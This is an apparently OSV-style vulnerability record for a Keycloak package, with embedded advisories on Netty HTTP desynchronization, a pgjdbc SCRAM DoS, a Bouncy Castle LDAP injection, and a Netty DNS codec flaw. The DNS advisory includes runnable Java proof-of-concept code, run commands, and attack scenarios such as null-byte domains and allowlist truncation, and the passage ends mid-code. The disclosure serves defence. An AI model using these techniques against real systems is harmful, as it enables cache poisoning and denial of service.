Vulnerability from cleanstart

Published

2026-07-30 07:10

Modified

2026-07-30 09:39

Summary

Security fixes in keycloak 26.5.7-r0

Details

Package keycloak version 26.5.7-r0 fixes 34 vulnerabilities: CVE-2025-11965, CVE-2025-11966, CVE-2025-59250, CVE-2026-0636, CVE-2026-5588...

References

URL

Type

https://github.com/keycloak/keycloak

WEB

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Alpine",
        "name": "keycloak"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.5.7-r0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "26.5.7-r0"
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Package keycloak version 26.5.7-r0 fixes 34 vulnerabilities: CVE-2025-11965, CVE-2025-11966, CVE-2025-59250, CVE-2026-0636, CVE-2026-5588...",
  "id": "CLEANSTART-2026-HT07249",
  "modified": "2026-07-30T09:39:27Z",
  "published": "2026-07-30T07:10:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fixes in keycloak 26.5.7-r0",
  "upstream": [
    "CVE-2025-11965",
    "CVE-2025-11966",
    "CVE-2025-59250",
    "CVE-2026-0636",
    "CVE-2026-5588",
    "CVE-2026-5598",
    "CVE-2026-41417",
    "CVE-2026-42198",
    "CVE-2026-42577",
    "CVE-2026-42578",
    "CVE-2026-42579",
    "CVE-2026-42580",
    "CVE-2026-42581",
    "CVE-2026-42583",
    "CVE-2026-42584",
    "CVE-2026-42585",
    "CVE-2026-42587",
    "ghsa-38f8-5428-x5cv",
    "ghsa-45p5-v273-3qqr",
    "ghsa-45q3-82m4-75jr",
    "ghsa-57rv-r2g8-2cj3",
    "ghsa-98qh-xjc8-98pq",
    "ghsa-c3fc-8qff-9hwx",
    "ghsa-cm33-6792-r9fm",
    "ghsa-h5fg-jpgr-rv9c",
    "ghsa-m4cv-j2px-7723",
    "ghsa-mj4r-2hfc-f8p6",
    "ghsa-p93r-85wp-75v3",
    "ghsa-rc95-pcm8-65v9",
    "ghsa-rwm7-x88c-3g2p",
    "ghsa-v8h7-rr48-vmmv",
    "ghsa-w9fj-cfpg-grvv",
    "ghsa-wg6q-6289-32hp",
    "ghsa-xxqh-mfjm-7mv9"
  ]
}

GHSA-57RV-R2G8-2CJ3

Vulnerability from github – Published: 2026-05-07 00:21 – Updated: 2026-05-14 20:41

Summary

Netty has HttpClientCodec response desynchronization

Details

Summary

If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.

Details

HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.

Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx

PoC

    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Impact

Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:21:48Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another\u0027s.\n\n### Details\nHttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### PoC\n\n```java\n    @Test\n    public void test() {\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n        ByteBuf request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n        request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        String responseStr = \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n                \"HTTP/1.1 200 OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n                \"HTTP/1.1 200 OK\\r\\n\\r\\n\";\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));\n\n        // Response 1\n        HttpResponse response = channel.readInbound();\n        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n        LastHttpContent last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 2\n        response = channel.readInbound();\n        assertEquals(HttpResponseStatus.OK, response.status());\n        last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 3\n        FullHttpResponse response1 = channel.readInbound();\n        assertTrue(response1.decoderResult().isFailure());\n        assertEquals(0, response1.content().readableBytes());\n        response1.release();\n\n        assertFalse(channel.finish());\n    }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.",
  "id": "GHSA-57rv-r2g8-2cj3",
  "modified": "2026-05-14T20:41:17Z",
  "published": "2026-05-07T00:21:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has HttpClientCodec response desynchronization"
}

GHSA-98QH-XJC8-98PQ

Vulnerability from github – Published: 2026-05-05 20:09 – Updated: 2026-05-05 20:09

Summary

pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS

Details

Summary

pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.

Impact

A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.

In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.

This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.

A user is vulnerable when all of the following are true:

The connection uses SCRAM-SHA-256 authentication.
The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint.
That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.

In practice, that can happen in these situations:

the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control
the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources
the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised
the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server
an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection
an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)

The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.

Patches

The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.

Workarounds

Until a patched version of pgjdbc is deployed, the following measures reduce exposure:

Only connect to trusted PostgreSQL servers whose identity is verified.
Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.
Do not rely on loginTimeout as a complete mitigation on unpatched versions.
On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.
Avoid SCRAM on untrusted or interceptable connection paths.
For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.
Reduce blast radius operationally.
Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.
On trusted servers you control, keep SCRAM iteration counts at ordinary values.
This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.postgresql:postgresql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "42.2.0"
            },
            {
              "fixed": "42.7.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42198"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T20:09:36Z",
    "nvd_published_at": "2026-04-29T16:16:25Z",
    "severity": "HIGH"
  },
  "details": "## Summary\npgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.\n\n### Impact\nA malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count.\nWith a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail.\nA single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.\n\nIn affected versions, `loginTimeout` did not fully mitigate this problem. When `loginTimeout` expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.\n\nThis issue affects availability. It does **not** provide authentication bypass, privilege escalation, or direct password disclosure.\n\nA user is vulnerable when **all** of the following are true:\n\n1. The connection uses **SCRAM-SHA-256** authentication.\n2. The client reaches a **malicious, compromised, or attacker-controlled PostgreSQL endpoint**.\n3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the `server-first-message`.\n\nIn practice, that can happen in these situations:\n\n- the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control\n- the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources\n- the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised\n- the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server\n- an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, `/etc/hosts`, environment variables, or similar indirection\n- an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, `sslmode` lower than `verify-full`, or trusting a CA that signs hosts outside the operator\u0027s control)\n\nThe issue is **more damaging** when the application uses connection retries, many parallel connection attempts, or `loginTimeout` and assumes the timeout fully stops the work.\n\n### Patches\nThe patch introduces a new connection property, `scramMaxIterations`, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.\n\n### Workarounds\n\nUntil a patched version of pgjdbc is deployed, the following measures reduce exposure:\n\n1. **Only connect to trusted PostgreSQL servers whose identity is verified.**  \n   Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA.\n   TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.\n\n2. **Do not rely on `loginTimeout` as a complete mitigation on unpatched versions.**  \n   On affected versions, `loginTimeout` can stop the waiting caller while the worker thread continues spending CPU.\n\n3. **Avoid SCRAM on untrusted or interceptable connection paths.**  \n   For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.\n\n4. **Reduce blast radius operationally.**  \n   Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.\n\n5. **On trusted servers you control, keep SCRAM iteration counts at ordinary values.**  \n   This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.",
  "id": "GHSA-98qh-xjc8-98pq",
  "modified": "2026-05-05T20:09:36Z",
  "published": "2026-05-05T20:09:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42198"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pgjdbc/pgjdbc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pgjdbc/pgjdbc/releases/tag/REL42.7.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS"
}

GHSA-C3FC-8QFF-9HWX

Vulnerability from github – Published: 2026-04-17 18:31 – Updated: 2026-04-18 01:06

Summary

Bouncy Castle has an LDAP injection

Details

Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper.

This issue affects BC-JAVA: from 1.74 before 1.84.

Severity

5.5 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/RE:M/U:Amber

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-0636"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T01:06:02Z",
    "nvd_published_at": "2026-04-15T10:16:38Z",
    "severity": "MODERATE"
  },
  "details": "Improper neutralization of special elements used in an LDAP query (\u0027LDAP injection\u0027) vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper.\n\nThis issue affects BC-JAVA: from 1.74 before 1.84.",
  "id": "GHSA-c3fc-8qff-9hwx",
  "modified": "2026-04-18T01:06:02Z",
  "published": "2026-04-17T18:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0636"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/d20cdb8430e09224114fec0179a71859929fcbde"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bcgit/bc-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%900636"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bouncy Castle has an LDAP injection"
}

GHSA-CM33-6792-R9FM

Vulnerability from github – Published: 2026-05-07 00:12 – Updated: 2026-05-14 20:40

Summary

Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)

Details

Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)

1. Vulnerability Summary

Field	Value
Product	Netty
Version	4.2.12.Final (and all prior versions with codec-dns)
Component	`io.netty.handler.codec.dns.DnsCodecUtil`
Vulnerability Type	CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption
Impact	DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets

2. Affected Components

Both the encoder and decoder in the same file are affected:

io.netty.handler.codec.dns.DnsCodecUtil — encodeDomainName() method (lines 31-51):
No null byte validation in domain name labels
No per-label length validation (RFC 1035 max: 63 bytes)
No total domain name length validation (RFC 1035 max: 255 bytes)
Empty labels silently truncate the domain name
io.netty.handler.codec.dns.DnsCodecUtil — decodeDomainName() method (lines 53-118):
No per-label length validation (max 63)
No total domain name length validation (max 255)
Unbounded StringBuilder growth from attacker-controlled DNS responses

3. Vulnerability Description

Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.

3.1 Encoder Side — Null Byte Injection (CWE-626)

A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:

Java (full string): sees "evil\0.example.com" as a single label containing a null
C/native DNS libraries: truncate at the null byte, seeing only "evil"
DNS servers: may accept or reject based on implementation

This differential interpretation enables DNS cache poisoning and domain validation bypass.

3.2 Encoder Side — Overlength Label (RFC 1035 Violation)

Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:

A 200-byte label length 0xC8 would be interpreted as a compression pointer by standards-compliant DNS parsers
This creates parser confusion between label and pointer interpretation

3.3 Encoder Side — Silent Truncation via Empty Labels

encodeDomainName("a..b.com", buf);
// Encodes as: [01] 'a' [00]
// Only "a." is encoded, ".b.com" is silently dropped!

An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.

3.4 Decoder Side — Unbounded Memory Allocation

The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.

Root Cause — Encoder

// DnsCodecUtil.java:31-51
static void encodeDomainName(String name, ByteBuf buf) {
    if (ROOT.equals(name)) {
        buf.writeByte(0);
        return;
    }
    final String[] labels = name.split("\\.");
    for (String label : labels) {
        final int labelLen = label.length();
        if (labelLen == 0) {
            break;  // NO ERROR - silently truncates!
        }
        // NO check: labelLen > 63
        // NO check: label contains null bytes
        // NO check: total name > 255 bytes
        buf.writeByte(labelLen);                    // Can write values > 63!
        ByteBufUtil.writeAscii(buf, label);         // Null bytes pass through!
    }
    buf.writeByte(0);
}

Root Cause — Decoder

// DnsCodecUtil.java:94-99 (decodeDomainName)
} else if (len != 0) {
    if (!in.isReadable(len)) {  // Only checks if bytes EXIST, not if len <= 63
        throw new CorruptedFrameException("truncated label in a name");
    }
    name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');
    //    ^^^^^^ StringBuilder grows WITHOUT any length limit
    in.skipBytes(len);
}

Missing checks in decoder: - No if (len > 63) check per RFC 1035 Section 2.3.4 - No if (name.length() > 255) check for total domain name length

4. Exploitability Prerequisites

Encoder Side (outbound)

An application constructs DNS queries using Netty's DNS codec with user-influenced domain names
The constructed DNS packets are sent to DNS servers or resolvers

Decoder Side (inbound)

An application uses Netty's codec-dns or resolver-dns module to process DNS responses
The application communicates with a malicious or compromised DNS server

Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.

5. Attack Scenarios

Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)

String hostname = userInput;  // "evil\0.trusted.com"
DnsQuery query = new DefaultDnsQuery(...)
    .addRecord(DnsSection.QUESTION,
        new DefaultDnsQuestion(hostname, DnsRecordType.A));

The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.

Scenario 2: Label/Pointer Confusion (Encoder)

A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:

Byte:  [C8] [61 61 61 ... (200 bytes)]
         ↑
   Label interpretation: 200-byte label starting with 'a'
   Pointer interpretation: pointer to offset 0x0861 = 2145

Scenario 3: Memory Exhaustion via Large Labels (Decoder)

A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.

Scenario 4: Domain Truncation via Empty Label (Encoder)

encodeDomainName("safe-domain..evil.com", buf);
// Only "safe-domain." is encoded, "evil.com" silently dropped

This can bypass domain allowlists that check the input string.

Scenario 5: Downstream Processing Failures (Decoder)

Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.

6. Proof of Concept

PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;

public class DnsEncoderNullBytePoC {
    public static void main(String[] args) throws Exception {
        System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n");

        Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
        Method encode = clazz.getDeclaredMethod("encodeDomainName",
            String.class, ByteBuf.class);
        encode.setAccessible(true);

        // Test 1: Null byte in domain name
        ByteBuf buf = Unpooled.buffer(256);
        encode.invoke(null, "evil\0.example.com", buf);
        byte[] bytes = new byte[buf.readableBytes()];
        buf.readBytes(bytes);
        buf.release();
        System.out.print("[TEST 1] Null byte - Encoded: ");
        for (byte b : bytes) System.out.printf("%02x ", b & 0xff);
        System.out.println("\nVULNERABLE: Null byte 0x00 in label data!");

        // Test 2: 200-byte label
        ByteBuf buf2 = Unpooled.buffer(512);
        encode.invoke(null, "a".repeat(200) + ".com", buf2);
        System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes");
        System.out.println("VULNERABLE: Overlength label accepted!");
        buf2.release();

        // Test 3: Empty label truncation
        ByteBuf buf3 = Unpooled.buffer(256);
        encode.invoke(null, "a..b.com", buf3);
        byte[] bytes3 = new byte[buf3.readableBytes()];
        buf3.readBytes(bytes3);
        buf3.release();
        System.out.print("\n[TEST 3] Empty label - Encoded: ");
        for (byte b : bytes3) System.out.printf("%02x ", b & 0xff);
        System.out.println("\nVULNERABLE: Domain silently truncated!");
    }
}

PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;

public class DnsDecoderLengthPoC {
    public static void main(String[] args) throws Exception {
        System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n");

        Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
        Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class);
        decode.setAccessible(true);

        // Test 1: 100-byte label (RFC limit: 63)
        ByteBuf buf1 = Unpooled.buffer(256);
        buf1.writeByte(100);
        buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII));
        buf1.writeByte(3);
        buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII));
        buf1.writeByte(0);
        String r1 = (String) decode.invoke(null, buf1);
        buf1.release();
        System.out.println("[TEST 1] 100-byte label: length=" + r1.length() +
            " VULNERABLE=" + (r1.length() > 64));

        // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)
        ByteBuf buf2 = Unpooled.buffer(512);
        for (int i = 0; i < 5; i++) {
            buf2.writeByte(60);
            buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)
                .getBytes(StandardCharsets.US_ASCII));
        }
        buf2.writeByte(0);
        String r2 = (String) decode.invoke(null, buf2);
        buf2.release();
        System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() +
            " VULNERABLE=" + (r2.length() > 255));
    }
}

How to Compile and Run

JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')

# Encoder PoC
javac -cp "$JARS" DnsEncoderNullBytePoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC

# Decoder PoC
javac -cp "$JARS" DnsDecoderLengthPoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

Encoder PoC:

=== Netty DNS Encoder Validation Bypass PoC ===

[TEST 1] Null byte in domain name
  Input: "evil\0.example.com"
  Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00
  Null byte in label data: true
  VULNERABLE: YES - Null byte accepted!

[TEST 2] Label > 63 bytes in encoder
  Input: "aaaaaa..." (200-char label)
  Encoded bytes: 206
  VULNERABLE: YES - Overlength label accepted in encoder!

[TEST 3] Empty labels (consecutive dots)
  Input: "a..b.com"
  Encoded bytes: 01 61 00
  Note: Empty label truncates the name (may lose data)

Decoder PoC:

=== Netty DNS Decoder Length Bypass PoC ===

[TEST 1] Label > 63 bytes (RFC 1035 violation)
  Label length: 100 bytes (RFC limit: 63)
  Decoded name length: 105
  VULNERABLE: YES - Label > 63 bytes accepted!

[TEST 2] Domain > 255 bytes via multiple labels
  5 labels x 60 bytes = 300+ bytes total
  RFC 1035 limit: 255 bytes
  Decoded name length: 305
  VULNERABLE: YES - Domain > 255 bytes accepted!

7. Impact Analysis

Impact Category	Description
Integrity	HIGH — Null byte injection causes differential interpretation across DNS implementations
Availability	HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder
DNS Cache Poisoning	Different parsers see different domain names from the same encoded packet
Domain Validation Bypass	Null bytes can bypass allowlist/blocklist checks in DNS proxies
Label/Pointer Confusion	Length bytes > 63 conflict with RFC 1035 compression pointer encoding
Silent Truncation	Empty labels silently drop the remainder of the domain name
Downstream Failures	Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries

8. Remediation Recommendations

Fix for Encoder (encodeDomainName)

static void encodeDomainName(String name, ByteBuf buf) {
    if (ROOT.equals(name)) {
        buf.writeByte(0);
        return;
    }
    int totalLength = 0;
    final String[] labels = name.split("\\.");
